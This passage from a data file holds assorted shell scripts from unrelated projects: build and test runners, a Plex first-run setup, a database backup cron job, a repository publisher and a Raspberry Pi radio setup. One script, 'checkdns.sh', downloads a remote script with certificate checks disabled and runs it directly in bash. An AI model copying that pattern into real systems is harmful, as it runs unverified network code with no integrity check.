$SERVICE1\n\tzipper\n\ttidyup\nfi\nend=$(date +%s)\nruntime=$((end-start))\nlog \"...Runtime $runtime Seconds\"\nexit 0"} {"text": "tungstenfabric/tf-devstack\n#!/bin/bash -e\n\nif [[ $PROVIDER == \"aws\" ]]; then\n ./openshift-install destroy cluster --dir=$INSTALL_DIR\nfi"} {"text": "#!/usr/bin/env bash\n\nset -e\n\nqrels=$1\nscores=$2\n\nif [ $# -ne 2 ]; then\n echo \"usage: score2run.sh \" 1>&2\n exit 1\nfi\n\npaste -d' ' $qrels $scores | awk '{print $1, \"Q0\", $3, 0, $5, \"cascade\"}'"} {"text": "gyom/gin-configtests_release.sh\n#!/bin/bash\n\n# Test nightly release: ./test_release.sh nightly\n# Test stable release: ./test_release.sh stable\n\n# Exit if any process returns non-zero status.\nset -e\n# Display the commands being run in logs, which are replicated to sponge.\nset -x\n\nif [[ $# -lt 1 ]] ; then\n echo \"Usage:\"\n echo \"test_release [nightly|stable]\"\n exit 1\nfi\n\nrun_tests() {\n echo \"run_tests $1 $2\"\n TMP=$(mktemp -d)\n # Create and activate a virtualenv to specify python version and test in\n # isolated environment. Note that we don't actually have to cd'ed into a\n # virtualenv directory to use it; we just need to source bin/activate into the\n # current shell.\n VENV_PATH=${TMP}/virtualenv/$1\n virtualenv -p \"$1\" \"${VENV_PATH}\"\n source ${VENV_PATH}/bin/activate\n\n\n # TensorFlow isn't a regular dependency because there are many different pip\n # packages a user might have installed.\n if [[ $2 == \"nightly\" ]] ; then\n pip install tf-nightly\n\n # Run the tests\n python setup.py test\n\n # Install Gin package.\n WHEEL_PATH=${TMP}/wheel/$1\n ./pip_pkg.sh ${WHEEL_PATH}/\n elif [[ $2 == \"stable\" ]] ; then\n pip install tensorflow\n\n # Run the tests\n python setup.py test\n\n # Install Gin package.\n WHEEL_PATH=${TMP}/wheel/$1\n ./pip_pkg.sh ${WHEEL_PATH}/\n else\n echo \"Error unknow option only [nightly|stable]\"\n exit\n fi\n\n pip install ${WHEEL_PATH}/gin_config*.whl\n\n # Move away from repo directory so \"import gin.tf\" refers to the\n # installed wheel and not to the local fs.\n (cd $(mktemp -d) && python -c 'import gin.tf')\n\n # Deactivate virtualenv\n deactivate\n}\n\n\n# Test on Python2.7\nrun_tests \"python2.7\" $1\n# Test on Python3.5\nrun_tests \"python3.5\" $1\n# Test on Python3.6\nrun_tests \"python3.6\" $1"} {"text": "#!/bin/bash\npip install python/\nwget https://s3-us-west-1.amazonaws.com/udacity-drlnd/P2/Reacher/Reacher_Linux.zip\nunzip Reacher_Linux.zip"} {"text": "packages/sfpowerscripts-cli/scripts/readVars.sh100-1000\n#!/bin/bash\nset -euo pipefail\n\nif [ -e .env ]\nthen\n # Export newline-delimited vars from .env file\n while IFS='=' read -r -a keyvalue_pair\n do\n declare -x ${keyvalue_pair[0]}=${keyvalue_pair[1]}\n done < .env\nelse\n echo \".env file does not exist\"\nfi"} {"text": "miikahuusko/swagger2markup-image\n#!/bin/bash\n\ndocker run --rm -v \"$PWD\":/opt swagger2markup/swagger2markup \"$@\""} {"text": "#!/bin/bash\npg_dump -h 127.0.0.1 -U your_user -d your_db_name > ~/db_dump/daily/dump_$(date '+%F').tar\n\n\n#delete after 7 days old\nfind ~/db_dump/daily/ -name 'dump_*' -mtime +7 -delete\n\n# Use cron job to run this script daily\n# ex: 0 4 * * * ./dump_daily.sh\n# will run script every 04:00 AM every day"} {"text": "#!/usr/bin/env bash\n\n# Builds, deploys and tests a Fission Workflow deployment\n# This expects a cluster to be present with kubectl and helm clients setup locally.\n\nset -euo pipefail\n\n. $(dirname $0)/utils.sh\n\nROOT=$(dirname $0)/../..\nTEST_SUITE_UID=$(generate_test_id)\nDOCKER_REPO=gcr.io/fission-ci\nWORKFLOWS_ENV_IMAGE=${DOCKER_REPO}/workflow-env\nWORKFLOWS_BUILD_ENV_IMAGE=${DOCKER_REPO}/workflow-build-env\nWORKFLOWS_BUNDLE_IMAGE=${DOCKER_REPO}/fission-workflows-bundle\nWORKFLOWS_PROXY_IMAGE=${DOCKER_REPO}/workflows-proxy\nTAG=ci-test\nNS=fission\nNS_FUNCTION=fission-function\nNS_BUILDER=fission-builder\nfissionHelmId=fission\nfissionWorkflowsHelmId=fission-workflows\nTEST_STATUS=0\nTEST_LOGFILE_PATH=tests.log\nBIN_DIR=\"${BIN_DIR:-$HOME/testbin}\"\n\n\nprint_report() {\n emph \"--- Test Report ---\"\n if ! cat ${TEST_LOGFILE_PATH} | grep '\\(FAILURE\\|SUCCESS\\).*|' ; then\n echo \"No report found.\"\n fi\n emph \"--- End Test Report ---\"\n}\n\non_exit() {\n emph \"[Buildtest exited]\"\n\n # Dump all the logs\n dump_logs ${NS} ${NS_FUNCTION} ${NS_BUILDER} || true\n\n # Print a short test report\n print_report\n\n # Ensure correct exist status\n echo \"TEST_STATUS: ${TEST_STATUS}\"\n if [ ${TEST_STATUS} -ne 0 ]; then\n exit 1\n fi\n}\n\nemph \"Starting buildtest...\"\n\ntrap on_exit EXIT\n\ncleanup_fission_workflows ${fissionWorkflowsHelmId} || true\n\n#\n# Build\n#\n# Build docker images\nemph \"Building images...\"\necho \"Repo: ${DOCKER_REPO}, Tag: ${TAG}\"\nbash ${ROOT}/build/docker.sh ${DOCKER_REPO} ${TAG}\n\n# Ensure cli is in path\nemph \"Copying fission-workflows to '${BIN_DIR}/fission-workflows'...\"\nbundleImage=${DOCKER_REPO}/fission-workflows-bundle:${TAG}\nbundleContainer=$(docker create ${bundleImage} tail /dev/null)\ndocker cp ${bundleContainer}:/fission-workflows ${BIN_DIR}/fission-workflows\ndocker rm -v ${bundleContainer}\nfission-workflows -h > /dev/null\n\n# Publish to gcloud\nemph \"Pushing images to container registry...\"\ngcloud docker -- push ${WORKFLOWS_ENV_IMAGE}:${TAG}\ngcloud docker -- push ${WORKFLOWS_BUILD_ENV_IMAGE}:${TAG}\ngcloud docker -- push ${WORKFLOWS_BUNDLE_IMAGE}:${TAG}\ngcloud docker -- push ${WORKFLOWS_PROXY_IMAGE}:${TAG}\n\n#\n# Deploy Fission Workflows\n# TODO use test specific namespace\nemph \"Deploying Fission Workflows '${fissionWorkflowsHelmId}' to ns '${NS}'...\"\nhelm_install_fission_workflows ${fissionWorkflowsHelmId} ${NS} \"pullPolicy=Always,tag=${TAG},bundleImage=${WORKFLOWS_BUNDLE_IMAGE},fission.env.runtimeImage=${WORKFLOWS_PROXY_IMAGE},fission.env.builderImage=${WORKFLOWS_BUILD_ENV_IMAGE}\"\n\n# Wait for Fission Workflows to get ready\nfission-workflows config\nemph \"Waiting for Fission Workflows to be ready...\"\nsleep 5\nretry fission-workflows status\necho\nemph \"Fission Workflows deployed!\"\n\n#\n# Test\n#\nretry $(dirname $0)/tests/test_inputs.sh\nemph \"--- Start Tests ---\"\nexport ROOT\nexport TEST_SUITE_UID\necho \"ROOT: $ROOT\"\necho \"TEST_SUITE_UID: $TEST_SUITE_UID\"\n$(dirname $0)/runtests.sh 2>&1 | tee ${TEST_LOGFILE_PATH}\nTEST_STATUS=${PIPESTATUS[0]}\nemph \"--- End Tests ---\""} {"text": "#!/bin/bash\n\ncontrollerpid=\"$(pgrep -f \"hp4controller.controller\")\"\n\nif [ -n \"$controllerpid\" ]\nthen\n sudo kill -SIGINT $controllerpid\nelse\n echo \"could not find pid\"\nfi"} {"text": "# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# To be sourced, not executed. ROOT_DIR must already be set.\n\nif [ ! -f \"${ROOT_DIR}/LOCAL_CONFIG\" ]; then\n echo \"$0: no LOCAL_CONFIG file\"\n exit 1\nfi\nsource \"${ROOT_DIR}/LOCAL_CONFIG\""} {"text": "#!/bin/bash\n\n# If we are debugging, enable trace\nif [ \"${DEBUG,,}\" = \"true\" ]; then\n set -x\nfi\n\n# If the first run completed successfully, we are done\nif [ -e /.firstRunComplete ]; then\n exit 0\nfi\n\nfunction getPref {\n local key=\"$1\"\n\n xmlstarlet sel -T -t -m \"/Preferences\" -v \"@${key}\" -n \"${prefFile}\"\n}\n\nfunction setPref {\n local key=\"$1\"\n local value=\"$2\"\n\n count=\"$(xmlstarlet sel -t -v \"count(/Preferences/@${key})\" \"${prefFile}\")\"\n count=$(($count + 0))\n if [[ $count > 0 ]]; then\n xmlstarlet ed --inplace --update \"/Preferences/@${key}\" -v \"${value}\" \"${prefFile}\"\n else\n xmlstarlet ed --inplace --insert \"/Preferences\" --type attr -n \"${key}\" -v \"${value}\" \"${prefFile}\"\n fi\n}\n\nhome=\"$(echo ~plex)\"\n[ -f /etc/default/plexmediaserver ] && . /etc/default/plexmediaserver\npmsApplicationSupportDir=\"${PLEX_MEDIA_SERVER_APPLICATION_SUPPORT_DIR:-${home}/Library/Application Support}\"\nprefFile=\"${pmsApplicationSupportDir}/Plex Media Server/Preferences.xml\"\n\n# Setup user/group ids\nif [ ! -z \"${PLEX_UID}\" ]; then\n if [ ! \"$(id -u plex)\" -eq \"${PLEX_UID}\" ]; then\n\n # usermod likes to chown the home directory, so create a new one and use that\n # However, if the new UID is 0, we can't set the home dir back because the\n # UID of 0 is already in use (executing this script).\n if [ ! \"${PLEX_UID}\" -eq 0 ]; then\n mkdir /tmp/temphome\n usermod -d /tmp/temphome plex\n fi\n\n # Change the UID\n usermod -o -u \"${PLEX_UID}\" plex\n\n # Cleanup the temp home dir\n if [ ! \"${PLEX_UID}\" -eq 0 ]; then\n usermod -d /config plex\n rm -Rf /tmp/temphome\n fi\n fi\nfi\n\nif [ ! -z \"${PLEX_GID}\" ]; then\n if [ ! \"$(id -g plex)\" -eq \"${PLEX_GID}\" ]; then\n groupmod -o -g \"${PLEX_GID}\" plex\n fi\nfi\n\n# Update ownership of dirs we need to write\nif [ \"${CHANGE_CONFIG_DIR_OWNERSHIP,,}\" = \"true\" ]; then\n if [ -f \"${prefFile}\" ]; then\n if [ ! \"$(stat -c %u \"${prefFile}\")\" = \"$(id -u plex)\" ]; then\n chown -R plex:plex /config\n fi\n else\n chown -R plex:plex /config\n fi\n chown -R plex:plex /transcode\nfi\n\n# Create empty shell pref file if it doesn't exist already\nif [ ! -e \"${prefFile}\" ]; then\n echo \"Creating pref shell\"\n mkdir -p \"$(dirname \"${prefFile}\")\"\n cat > \"${prefFile}\" <<-EOF\n\n\nEOF\n chown -R plex:plex \"$(dirname \"${prefFile}\")\"\nfi\n\n# Setup Server's client identifier\nserial=\"$(getPref \"MachineIdentifier\")\"\nif [ -z \"${serial}\" ]; then\n serial=\"$(uuidgen)\"\n setPref \"MachineIdentifier\" \"${serial}\"\nfi\nclientId=\"$(getPref \"ProcessedMachineIdentifier\")\"\nif [ -z \"${clientId}\" ]; then\n clientId=\"$(echo -n \"${serial}- Plex Media Server\" | sha1sum | cut -b 1-40)\"\n setPref \"ProcessedMachineIdentifier\" \"${clientId}\"\nfi\n\n# Get server token and only turn claim token into server token if we have former but not latter.\ntoken=\"$(getPref \"PlexOnlineToken\")\"\nif [ ! -z \"${PLEX_CLAIM}\" ] && [ -z \"${token}\" ]; then\n echo \"Attempting to obtain server token from claim token ${PLEX_CLAIM} for ${clientId}\"\n loginInfo=\"$(curl -X POST \\\n -H 'X-Plex-Client-Identifier: '${clientId} \\\n -H 'X-Plex-Product: Plex Media Server'\\\n -H 'X-Plex-Version: 1.1' \\\n -H 'X-Plex-Provides: server' \\\n -H 'X-Plex-Platform: Linux' \\\n -H 'X-Plex-Platform-Version: 1.0' \\\n -H 'X-Plex-Device-Name: PlexMediaServer' \\\n -H 'X-Plex-Device: Linux' \\\n \"https://plex.tv/api/claim/exchange?token=${PLEX_CLAIM}\")\"\n token=\"$(echo \"$loginInfo\" | sed -n 's/.*\\(.*\\)<\\/authentication-token>.*/\\1/p')\"\n\n if [ \"$token\" ];\n then\n echo \"Token obtained successfully\"\n setPref \"PlexOnlineToken\" \"${token}\"\n else\n echo \"Token error\"\n echo \"$loginInfo\"\n fi\nfi\n\nif [ ! -z \"${ADVERTISE_IP}\" ]; then\n setPref \"customConnections\" \"${ADVERTISE_IP}\"\n echo \"Setup advertise IP ${ADVERTISE_IP}\"\nfi\n\nif [ ! -z \"${ALLOWED_NETWORKS}\" ]; then\n setPref \"allowedNetworks\" \"${ALLOWED_NETWORKS}\"\nfi\n\n# Set transcoder temp if not yet set\nif [ -z \"$(getPref \"TranscoderTempDirectory\")\" ]; then\n setPref \"TranscoderTempDirectory\" \"/transcode\"\nfi\n\ntouch /.firstRunComplete\necho \"Plex Media Server first run setup complete\""} {"text": "read -p \"Enter the Number\" n\nn1=$n\nwhile [ $n -ne \"0\" ]\n do\n dig=$((n%10))\n sum=$((sum+dig))\n n=$((n/10))\n done\necho \"Sum of digits of $n is: $sum\""} {"text": "dev-java/icedtea-bin/files/icedtea-bin.env.sh0\n# Copyright 1999-2016 Gentoo Foundation\n# Distributed under the terms of the GNU General Public License v2\n\nVERSION=\"IcedTea JDK ${PV}$(multilib_is_native_abi || printf ' ('${ABI}')')\"\nJAVA_HOME=\"${EPREFIX}/opt/icedtea-bin-${PV}$(multilib_is_native_abi || printf -- -${ABI})\"\nJDK_HOME=\"${EPREFIX}/opt/icedtea-bin-${PV}$(multilib_is_native_abi || printf -- -${ABI})\"\nJAVAC=\"\\${JAVA_HOME}/bin/javac\"\nPATH=\"\\${JAVA_HOME}/bin:\\${JAVA_HOME}/jre/bin\"\nROOTPATH=\"\\${JAVA_HOME}/bin:\\${JAVA_HOME}/jre/bin\"\nLDPATH=\"\\${JAVA_HOME}/jre/lib/$(get_system_arch)/:\\${JAVA_HOME}/jre/lib/$(get_system_arch)/server/$([[ ${SLOT} = 7 ]] && printf :\\${JAVA_HOME}/jre/lib/$(get_system_arch)/xawt/)\"\nMANPATH=\"${EPREFIX}/opt/icedtea-bin-${PV}/man\"\nPROVIDES_TYPE=\"JDK JRE\"\nPROVIDES_VERSION=\"1.${SLOT}\"\n# Taken from sun.boot.class.path property\nBOOTCLASSPATH=\"\\${JAVA_HOME}/jre/lib/resources.jar:\\${JAVA_HOME}/jre/lib/rt.jar:\\${JAVA_HOME}/jre/lib/sunrsasign.jar:\\${JAVA_HOME}/jre/lib/jsse.jar:\\${JAVA_HOME}/jre/lib/jce.jar:\\${JAVA_HOME}/jre/lib/charsets.jar:\\${JAVA_HOME}/jre/lib/jfr.jar\"\nGENERATION=\"2\"\nENV_VARS=\"JAVA_HOME JDK_HOME JAVAC PATH ROOTPATH LDPATH MANPATH\""} {"text": "run_test.sh\n#!/bin/bash -ex\n\nPY_VERSION=`python -c 'import sys; print(sys.version.split()[0])'`\nVENV=venv_$PY_VERSION\nMYPY_VENV=venv_mypy\n\n(\n # Create virtualenv + Install requirements for mypy-protobuf\n if [[ -z $SKIP_CLEAN ]] || [[ ! -e $VENV ]]; then\n python -m virtualenv $VENV\n fi\n source $VENV/bin/activate\n python -m pip install -r requirements.txt\n\n # Generate protos\n protoc --version\n protoc --python_out=. --mypy_out=. --plugin=protoc-gen-mypy=python/protoc-gen-mypy --proto_path=proto/ `find proto/test -name \"*.proto\"`\n)\n\n(\n # Run mypy (always under python3)\n\n # Create virtualenv\n if [[ -z $SKIP_CLEAN ]] || [[ ! -e $MYPY_VENV ]]; then\n python3 --version\n python3 -m virtualenv $MYPY_VENV\n fi\n source $MYPY_VENV/bin/activate\n if [[ -z $SKIP_CLEAN ]] || [[ ! -e $MYPY_VENV ]]; then\n python3 -m pip install setuptools\n python3 -m pip install git+https://github.com/python/mypy.git@v0.761\n fi\n\n # Run mypy\n for PY in 2.7 3.5; do\n mypy --python-version=$PY python/protoc-gen-mypy test/\n if ! diff <(mypy --python-version=$PY python/protoc-gen-mypy test_negative/) test_negative/output.expected.$PY; then\n echo \"test_negative/output.expected.$PY didnt match. Copying over for you. Now rerun\"\n for PY in 2.7 3.5; do\n mypy --python-version=$PY python/protoc-gen-mypy test_negative/ > test_negative/output.expected.$PY || true\n done\n exit 1\n fi\n done\n)\n\n(\n # Run unit tests. These tests generate .expected files\n source $VENV/bin/activate\n python --version\n py.test --version\n py.test\n)"} {"text": "hack/upx.sh\n#!/usr/bin/env bash\nset -o errexit\nset -o nounset\nset -o pipefail\n\nif [[ -n ${GITHUB_ACTION:-} ]]; then\n apk --no-cache add upx\nfi\nif ! command -v upx; then\n echo \"upx not available. skipping..\"\n exit 0\nfi\n\nupx dist/oc-sre*/oc-sre*"} {"text": "#!/bin/bash\n\nset -uo pipefail\n\ncd \"$(dirname \"$0\")/../..\" || exit 2\n\n# This file is a hack to suppress warnings from Roave BC check\n# Based on: https://github.com/guzzle/guzzle/blob/7a30f3bc91b3ab57860efbe8272649cc23dbbcc2/.github/workflows/bc.entrypoint\n\necho \"Running BC check, please wait...\"\n\n# Capture output to variable AND print it\nOUTPUT=$(vendor/bin/roave-backward-compatibility-check --format=markdown \"$@\" 2>&1)\n\n# Remove rows we want to suppress\nOUTPUT=`echo \"$OUTPUT\" | sed '/Roave\\\\\\BetterReflection\\\\\\Reflection\\\\\\ReflectionClass \"Symfony\\\\\\Component\\\\\\HttpKernel\\\\\\Event\\\\\\FilterControllerEvent\" could not be found in the located source/'d`\nOUTPUT=`echo \"$OUTPUT\" | sed '/Roave\\\\\\BetterReflection\\\\\\Reflection\\\\\\ReflectionClass \"Scoutapm\\\\\\ScoutApmBundle\\\\\\Twig\\\\\\TwigMethods\" could not be found in the located source/'d`\nOUTPUT=`echo \"$OUTPUT\" | sed '/Value of constant Twig\\\\\\Environment::.* changed from .* to .*/'d`\n\n# Number of rows we found with \"[BC]\" in them\nBC_BREAKS=`echo \"$OUTPUT\" | grep -o '\\[BC\\]' | wc -l | awk '{ print $1 }'`\n\n# The last row of the output is \"X backwards-incompatible changes detected\". Find X.\nSTATED_BREAKS=`echo \"$OUTPUT\" | tail -n 1 | awk -F' ' '{ print $1 }'`\n\nEXPECTED_STATED_BREAKS=21\n\necho \"$OUTPUT\"\necho \"Lines with [BC] not filtered: $BC_BREAKS\"\necho \"Stated breaks: $STATED_BREAKS out of expected $EXPECTED_STATED_BREAKS\"\n\n# If\n# We found \"[BC]\" in the command output after we removed suppressed lines\n# OR\n# We have suppressed X number of BC breaks. If $STATED_BREAKS is larger than X\n# THEN\n# exit 1\nif [ $BC_BREAKS -gt 0 ] || [ $STATED_BREAKS -gt $EXPECTED_STATED_BREAKS ]; then\n echo \"EXIT 1\"\n exit 1\nfi\n\n# No BC breaks found\necho \"EXIT 0\"\nexit 0"} {"text": "0\n#!/bin/bash -ev\n#\n# Installation Script\n# Written by: <>\n# Github: https://github.com/pajamapants3000\n# Legal: See LICENSE in parent directory\n#\n#\n# Dependencies\n#**************\n# Begin Required\n# End Required\n# Begin Recommended\n# End Recommended\n# Begin Optional\n# End Optional\n# Begin Kernel\n# End Kernel\n#\n# Installation\n#**************\n# Check for previous installation:\nPROCEED=\"yes\"\nREINSTALL=0\ngrep pth-2.0.7 /list-$CHRISTENED\"-\"$SURNAME > /dev/null && ((\\!$?)) &&\\\n REINSTALL=1 && echo \"Previous installation detected, proceed?\" && read PROCEED\n[ $PROCEED = \"yes\" ] || [ $PROCEED = \"y\" ] || exit 0\n# Download:\nwget http://ftp.gnu.org/gnu/pth/pth-2.0.7.tar.gz\n# FTP/alt Download:\n#wget ftp://ftp.gnu.org/gnu/pth/pth-2.0.7.tar.gz\n#\n# md5sum:\necho \"9cb4a25331a4c4db866a31cbe507c793 pth-2.0.7.tar.gz\" | md5sum -c ;\\\n ( exit ${PIPESTATUS[0]} )\n#\ntar -xvf pth-2.0.7.tar.gz\ncd pth-2.0.7\nsed -i 's#$(LOBJS): Makefile#$(LOBJS): pth_p.h Makefile#' Makefile.in\n./configure --prefix=/usr \\\n --disable-static \\\n --mandir=/usr/share/man\nmake\n# Test:\nmake test\n#\nas_root make install\nas_root install -v -m755 -d /usr/share/doc/pth-2.0.7\nas_root install -v -m644 README PORTING SUPPORT TESTS \\\n /usr/share/doc/pth-2.0.7\ncd ..\nas_root rm -rf pth-2.0.7\n#\n# Add to installed list for this computer:\necho \"pth-2.0.7\" >> /list-$CHRISTENED\"-\"$SURNAME\n#\n###################################################"} {"text": "#!/usr/bin/env bash\nfunction exec_post_deploy_script() {\n\n _script_to_exec=\"$1\"\n\n # database name will automatically be passed to script with -d flag\n\n echo \"Executing script post dbdeployer run: ${_script_to_exec} -d ${dbname} -n ${db_destination_name}\"\n script_result=`$_script_to_exec -d $dbname -n ${db_destination_name}`\n\n if [ $? -ne 0 ]\n then\n echo \"Failed to execute script: ${_script_to_exec}\"\n rc=1\n else\n rc=0\n fi\n\n echo -e $script_result\n\n unset script_result\n unset _script_to_exec\n return $rc\n}"} {"text": "#!/bin/bash\n\n# info: measure both AES and ChaCha20 ciphers\n# run from within bench directory\n\n# setup python virtual environment\n# mkvirtualenv --python=$(which python3) pybench && \\\n # python -m pip install -r requirements.txt\n\n# use python environment\n# workon pybench\nsource pybench/bin/activate\n\n# one time set-up for generating data\npython bench_setup.py\n\ndeactivate\n\n# run bench for AES\n\n# run bench for ChaCha\n\n# analyze results for statistical significance\n\n# measure memory usage\n\n# save all measurements\n\n# plot graphs"} {"text": "0\n#!/bin/bash\n# Copyright 2016 The Kubernetes Authors All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -o errexit\nset -o nounset\nset -o pipefail\n\necho $@\nif [ ! $# -eq 6 ]; then\n echo \"usage: publisher source_dir destination_dir source_url destination_url token temp_mem_dir. source_dir, destination_dir and temp_mem_dir are expected to be absolute paths.\"\n exit 1\nfi\nSRC=\"${1}\"\nDST=\"${2}\"\nSRCURL=\"${3}\"\nDSTURL=\"${4}\"\nTOKEN=\"${5}\"\nNETRCDIR=\"${6}\"\n# set up github token\necho \"machine github.com login ${TOKEN}\" > \"${NETRCDIR}\"/.netrc\nrm -f ~/.netrc\nln -s \"${NETRCDIR}\"/.netrc ~/.netrc\n# set up github user\ngit config --global user.email \"\"\ngit config --global user.name \"Kubernetes Publisher\"\n# get the latest commit hash of source\npushd \"${SRC}\" > /dev/null\ncommit_hash=$(git rev-parse HEAD)\npopd > /dev/null\n# set up the destination directory\nrm -rf \"${DST}\"\nmkdir -p \"${DST}\"\ngit clone \"${DSTURL}\" \"${DST}\"\npushd \"${DST}\" > /dev/null\nrm -r ./*\ncp -a \"${SRC}/.\" \"${DST}\"\ngit add --all\n# check if there are new contents \nif git diff --cached --exit-code &>/dev/null; then\n echo \"nothing has changed!\"\n exit 0\nfi\ngit commit -m \"published by bot\ncopied from ${SRCURL}\nlast commit is ${commit_hash}\"\ngit push origin master\npopd > /dev/null\nrm -f ~/.netrc\nrm -f \"${NETRCDIR}\"/.netrc"} {"text": "scripts/nuke_legacy.sh\n#!/usr/bin/env bash\n\npip uninstall piston-smoke -y\npip uninstall python-smoke -y\npip uninstall smoke-python -y\npip uninstall smoke-piston -y\npip uninstall smoke -y\npip uninstall graphenelib -y\npip uninstall piston-cli -y"} {"text": "#!/bin/bash\n\n#Check if the radio is set-up\nFILE=/boot/overlays/mrf24j40ma.dtbo\n\nif [ -f \"$FILE\" ]; then\n RADIO_AVAILABLE=\"TRUE\" #Radio available\n RADIO_READY=\"FALSE\"\n \nelse\n #Radio and 6lowpan stack is not installed\n echo \"6LoWPAN communication and the MRF24J40 is not installed.\"\n echo \"If you don't install it, you won't have 6LoWPAN communication\"\n read -n 1 -p \"Do you want to install it? (Y/N): \" VAR\n\n if [ $VAR == \"y\" ]; then\n #Installing MRF24J40 radio and setting up the 6lowpan stack.\n echo \"Installing Dependencies\\n\"\n sudo apt-get update\n sudo apt install device-tree-compiler git -y\n\n echo \"Creating device tree for MRF24J40 radio and compiling it\"\n#Why I can't tab this??\ncat <mrf24j40ma-overlay.dts\n/dts-v1/;\n/plugin/;\n\n/ {\n compatible = \"bcrm,bcm2835\", \"bcrm,bcm2836\", \"bcrm,bcm2708\", \"bcrm,bcm2709\";\n\n fragment@0 {\n target = <&spi0>;\n __overlay__ {\n #address-cells = <1>;\n #size-cells = <0>;\n status = \"okay\";\n\n mrf24j40@0 {\n compatible = \"mrf24j40\";\n reg = <0>;\n interrupts = <23 8>;\n interrupt-parent = <&gpio>;\n spi-max-frequency = <5000000>;\n };\n\n spidev@0 {\n status = \"disabled\";\n };\n\n spidev@1 {\n status = \"disabled\";\n };\n };\n };\n};\nEOF\n dtc -@ -O dtb -o mrf24j40ma.dtbo mrf24j40ma-overlay.dts\n sudo cp mrf24j40ma.dtbo /boot/overlays/.\n\n echo \"Adding MRF24J40ma to system initialization\"\n sudo mv /boot/config.txt /boot/config_cpy.txt #Do a secutiry copy of the config file\n touch config.txt\n printf \"dtparam=spi=on\\ndtoverlay=mrf24j40ma\\n\" > config.txt\n sudo cp config.txt /boot #Copy the new config file\n rm config.txt\n\n echo \"Installing WPAN tools\"\n git clone https://github.com/linux-wpan/wpan-tools \n sudo apt -y install dh-autoreconf libnl-3-dev libnl-genl-3-dev\n cd wpan-tools\n sudo ./autogen.sh\n sudo ./configure CFLAGS='-g -O0' --prefix=/usr --sysconfdir=/etc --libdir=/usr/lib\n sudo make\n sudo make install\n #The radio and the stack is ready, now is necessary to reboot\n clear\n read -n 1 -p \"The Raspberry Pi will reboot now. After the reboot Micro-ROS Hardware Bridge will be ready to work, just re-open the script. Press any key to continue\"\n #Configure the radio\n sudo reboot\n\n else\n #6LoWPAN is not available\n clean\n echo \"6LoWPAN communication won't be available\"\n RADIO_AVAILABLE=\"FALSE\"\n fi\nfi\n\n#Check if the folder Lowpan exists. If it didn't exit means that the network is not up.\nFILE_LOWPAN=/sys/class/net/lowpan0\n\nif [ $RADIO_AVAILABLE == \"TRUE\" ] && [ ! -e \"$FILE_LOWPAN\" ];\nthen\n #Setting up the 6lowpan network\n echo \"Bringing up the network\"\n sudo iwpan dev wpan0 set pan_id 0xabcd\n sudo iwpan phy phy0 set channel 0 26\n\n sudo ip link add link wpan0 name lowpan0 type lowpan\n sudo ip link set wpan0 up\n sudo ip link set lowpan0 up\n\n sudo ip -6 route delete fe80::/64 dev wlan0 proto kernel metric 256 pref medium\n sudo ip -6 route delete fe80::/64 dev eth0 proto kernel metric 256 pref medium\n\n RADIO_READY=\"TRUE\"\n\nfi\n\necho \"Source micro-ROS Agent\"\nsource micro-ros_cc_ws/install/setup.bash #Change to the right folder\nUROS_FOLDER=micro-ros_cc_ws/build/micro_ros_agent #Change to the right folder\n\nclear\n\n# Show the information of the 6LoWPAN connection\nifconfig lowpan0\n\noptions=(\"Add new 6LoWPAN micro-ROS device\" \"Create UDP 6LoWPAN micro-ROS Agent\" \"Create UDP micro-ROS Agent\" \n\"Create TCP micro-ROS Agent\" \"Create Serial micro-ROS Agent server\" \"Quit\")\nselect opt in \"${options[@]}\"\ndo\n case $opt in\n \"Add new 6LoWPAN micro-ROS device\")\n #Due to the problemes with the incompabilities between the Linux and NuttX and 6LoWPAN stack,\n #is necessary to add manually a new device as neighbord\n clear\n read -n 39 -p \"Please add the IPV6 of the new device: \" CLIENT_IPV6\n read -n 33 -p \"Please add the MAC address of the new device: \" CLIENT_ADDR\n # TODO: Add custom MAC introduction.\n sudo ip neigh add to $CLIENT_IPV6 dev lowpan0 lladdr $CLIENT_ADDR\n echo \"Added new device: $CLIENT_IPV6 with $CLIENT_ADDR MAC address \"\n ;;\n \"Create UDP 6LoWPAN micro-ROS Agent\")\n clear\n read -n 4 -p \"Please type the port to use: \" CLIENT_PORT\n $UROS_FOLDER/micro_ros_agent udp6 --port $CLIENT_PORT &\n ;;\n \"Create UDP micro-ROS Agent\")\n clear\n read -n 4 -p \"Please type the port to use: \" CLIENT_PORT\n $UROS_FOLDER/micro_ros_agent udp4 --port $CLIENT_PORT &\n ;;\n \"Create TCP micro-ROS Agent\")\n clear\n read -n 4 -p \"Please type the port to use: \" CLIENT_PORT\n $UROS_FOLDER/micro_ros_agent tcp4 --port $CLIENT_PORT &\n ;;\n \"Create Serial micro-ROS Agent server\")\n clear\n read -n 12 -p \"Please add the route to the serial device: \" CLIENT_PORT\n if [ -e \"$CLIENT_PORT\" ]; then\n $UROS_FOLDER/micro_ros_agent serial --dev $CLIENT_PORT &\n else\n echo \"Device doesn't exist, please try again.\"\n fi\n ;;\n \"Quit\")\n break\n ;;\n *) echo \"invalid option $REPLY\";;\n esac\ndone"} {"text": "#!/bin/bash\n#\t名称:checkdns.sh\n# 描述:检测网络可用性并执行checkdns_run.sh\n#\tINDEX: https://www.ixmu.net\n\n\nnetstatus=`curl -o /dev/null -s -w %{http_code} https://gitee.com`\nwhile(( $netstatus!=200 ))\ndo\n sleep 10s\n netstatus=`curl -o /dev/null -s -w %{http_code} https://gitee.com`\ndone\n#安装所需软件包\ncommand -v crontab >>/dev/null 2>&1\n[[ $? -eq '1' ]] && {\nyum install -y vixie-cron || apt-get install -y cron \n}\ncommand -v wget >>/dev/null 2>&1\n[[ $? -eq '1' ]] && {\nyum install -y wget || apt-get install -y wget\n}\n\nbash <(wget --no-check-certificate -qO- 'https://gitee.com/pengxp1996/Note/raw/master/ovzh/checkdns_run.sh')\n\nexit 0"} {"text": "CUDA_VISIBLE_DEVICES=1 python main.py --dataset=Beauty --train_dir=data --maxlen=50 --dropout_rate=0.5 --num_epochs=1001"} {"text": "GPU=$1\ndataset_name=$2\ntrain_suffix=$3\nexport 